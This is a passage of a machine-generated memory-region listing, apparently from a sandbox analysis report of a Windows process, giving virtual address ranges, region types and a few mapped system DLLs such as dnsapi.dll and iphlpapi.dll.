"" Region: id = 6594 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6595 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6596 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6597 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6598 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6599 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6600 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 6601 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6602 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 6603 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 6604 start_va = 0x1b3c0000 end_va = 0x1b3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 6605 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 6606 start_va = 0x1b3e0000 end_va = 0x1b3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 6607 start_va = 0x1b3f0000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 6613 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6614 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6615 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6616 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 6617 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6618 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 6619 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 6620 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 6621 start_va = 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 6622 start_va = 0x7ff9ff4c0000 end_va = 0x7ff9ff4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff4c0000" filename = "" Region: id = 6623 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6624 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6625 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6626 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 6628 start_va = 0x1ad20000 end_va = 0x1ad22fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ad20000" filename = "" Region: id = 6629 start_va = 0x7ff9ff4d0000 end_va = 0x7ff9ff4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff4d0000" filename = "" Region: id = 6630 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6631 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6632 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6633 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6634 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6635 start_va = 0x7ff9ff4e0000 end_va = 0x7ff9ff4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff4e0000" filename = "" Region: id = 6636 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 6637 start_va = 0x7ffa71200000 end_va = 0x7ffa71237fff monitored = 0 entry_point = 0x7ffa71218cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 6638 start_va = 0x7ffa76fe0000 end_va = 0x7ffa77089fff monitored = 0 entry_point = 0x7ffa77007910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 6639 start_va = 0x7ffa7b280000 end_va = 0x7ffa7b287fff monitored = 0 entry_point = 0x7ffa7b281ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 6640 start_va = 0x7ffa71100000 end_va = 0x7ffa71115fff monitored = 0 entry_point = 0x7ffa711019f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 6641 start_va = 0x7ffa710e0000 end_va = 0x7ffa710f9fff monitored = 0 entry_point = 0x7ffa710e2430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 6642 start_va = 0x7ffa71010000 end_va = 0x7ffa7101afff monitored = 0 entry_point = 0x7ffa71011d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 6643 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6644 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6645 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6646 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6647 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6648 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6649 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6650 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6651 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6652 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6653 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6654 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6655 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6656 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6657 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 6658 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6659 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6660 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6661 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6662 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6663 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6664 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6665 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6666 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6667 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6668 start_va = 0x1ad70000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6669 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6670 start_va = 0x1b3c0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 6671 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6672 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6673 start_va = 0x1b4c0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 6674 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6675 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6676 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6677 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6678 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6679 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 6680 start_va = 0x1b5c0000 end_va = 0x1b6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5c0000" filename = "" Region: id = 6681 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 6682 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 6683 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 6684 start_va = 0x1b8f0000 end_va = 0x1b8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8f0000" filename = "" Region: id = 6685 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 6686 start_va = 0x1b910000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 6687 start_va = 0x1b920000 end_va = 0x1b92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b920000" filename = "" Region: id = 6688 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6689 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 6690 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 6691 start_va = 0x1b910000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 6692 start_va = 0x1b920000 end_va = 0x1b92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b920000" filename = "" Region: id = 6693 start_va = 0x1b930000 end_va = 0x1b93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b930000" filename = "" Region: id = 6694 start_va = 0x1b940000 end_va = 0x1b94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b940000" filename = "" Region: id = 6695 start_va = 0x1b950000 end_va = 0x1b95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b950000" filename = "" Region: id = 6696 start_va = 0x1b960000 end_va = 0x1b96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b960000" filename = "" Region: id = 6697 start_va = 0x1b970000 end_va = 0x1b97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b970000" filename = "" Region: id = 6698 start_va = 0x1b980000 end_va = 0x1b98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b980000" filename = "" Region: id = 6699 start_va = 0x1b990000 end_va = 0x1b99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b990000" filename = "" Region: id = 6700 start_va = 0x1b9a0000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b9a0000" filename = "" Region: id = 6701 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6702 start_va = 0x1b3c0000 end_va = 0x1b3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 6703 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6704 start_va = 0x1b3e0000 end_va = 0x1b3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 6705 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6706 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6707 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6708 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 6709 start_va = 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 6710 start_va = 0x1b3d0000 end_va = 0x1b3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3d0000" filename = "" Region: id = 6711 start_va = 0x1b3e0000 end_va = 0x1b3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 6712 start_va = 0x1b3f0000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 6713 start_va = 0x1b400000 end_va = 0x1b40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b400000" filename = "" Region: id = 6714 start_va = 0x1b410000 end_va = 0x1b41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 6715 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6716 start_va = 0x1baa0000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 6717 start_va = 0x1b420000 end_va = 0x1b42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b420000" filename = "" Region: id = 6718 start_va = 0x1b430000 end_va = 0x1b43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b430000" filename = "" Region: id = 6719 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6720 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6721 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 6722 start_va = 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 6723 start_va = 0x1b3d0000 end_va = 0x1b3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3d0000" filename = "" Region: id = 6724 start_va = 0x1b3d0000 end_va = 0x1b3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3d0000" filename = "" Region: id = 6725 start_va = 0x1b3e0000 end_va = 0x1b3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 6726 start_va = 0x1b3f0000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 6727 start_va = 0x1b400000 end_va = 0x1b40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b400000" filename = "" Region: id = 6728 start_va = 0x1b410000 end_va = 0x1b41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 6729 start_va = 0x1b420000 end_va = 0x1b42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b420000" filename = "" Region: id = 6730 start_va = 0x1b3d0000 end_va = 0x1b3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3d0000" filename = "" Region: id = 6731 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6732 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6733 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6734 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6735 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6736 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6737 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6738 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6739 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 6740 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6741 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6742 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6743 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6744 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6745 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 6746 start_va = 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 6747 start_va = 0x1b3d0000 end_va = 0x1b3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3d0000" filename = "" Region: id = 6748 start_va = 0x1b3e0000 end_va = 0x1b3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 6749 start_va = 0x1b3f0000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 6750 start_va = 0x1b3f0000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 6751 start_va = 0x1b3f0000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 6752 start_va = 0x1b3f0000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 6753 start_va = 0x1bba0000 end_va = 0x1c091fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bba0000" filename = "" Region: id = 6754 start_va = 0x1c0a0000 end_va = 0x1d0dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 6755 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6756 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6757 start_va = 0x7ffa7b3e0000 end_va = 0x7ffa7b539fff monitored = 0 entry_point = 0x7ffa7b4238e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 6758 start_va = 0x1ad20000 end_va = 0x1ad20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ad20000" filename = "" Region: id = 6759 start_va = 0x1b3c0000 end_va = 0x1b47bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b3c0000" filename = "" Region: id = 6760 start_va = 0x1ad20000 end_va = 0x1ad23fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ad20000" filename = "" Region: id = 6761 start_va = 0x7ffa75d20000 end_va = 0x7ffa75d41fff monitored = 0 entry_point = 0x7ffa75d21a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 6762 start_va = 0x1ad30000 end_va = 0x1ad34fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 6763 start_va = 0x1ad40000 end_va = 0x1ad46fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6764 start_va = 0x1ad50000 end_va = 0x1ad50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ad50000" filename = "" Region: id = 6765 start_va = 0x1b480000 end_va = 0x1b480fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b480000" filename = "" Region: id = 6766 start_va = 0x1b480000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b480000" filename = "" Region: id = 6767 start_va = 0x1b580000 end_va = 0x1b5b3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b580000" filename = "" Region: id = 6768 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 6769 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 6770 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 6771 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 6772 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 6773 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 6774 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 6775 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 6776 start_va = 0x1b8f0000 end_va = 0x1b8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8f0000" filename = "" Region: id = 6777 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 6778 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 6779 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6780 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6781 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 6782 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6783 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = 